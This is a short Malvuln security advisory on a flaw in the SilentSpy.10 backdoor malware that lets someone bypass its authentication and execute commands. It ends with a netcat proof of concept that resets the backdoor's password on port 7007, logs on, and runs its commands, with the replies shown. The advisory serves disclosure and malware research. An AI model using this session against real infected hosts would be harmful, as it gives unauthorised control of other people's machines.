Backdoor.Win32.SilentSpy.10 Authentication Bypass / Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.SilentSpy.10  
Vulnerability: Authentication Bypass Command Execution  
Description: The malware listens on TCP ports 21, 7007. Third-party attackers who can reach an infected system can change the server password on the fly using the !SETSERVPASS! command, logon and run commands made available by the malware.  
Type: PE32  
MD5: a7ce38e60cf08f2b234f34043b87e701  
Vuln ID: MVID-2021-0440  
Disclosure: 12/31/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 7007  
!SETSERVPASS! abc123  
!STATUS!Server password has been changed  
  
!PASS! abc123  
!PASSOK!!STATUS!Connnected to º∩LΘn7 ºp  
  
!SYMBOL!  
!STATUS!Symbol has been drawn  
  
!SETSERVNAME! HATE  
!STATUS!Server name has been changed  
  
nc64.exe x.x.x.x 7007  
!PASS! abc123  
!PASSOK!!STATUS!Connnected to HATE  
  
  
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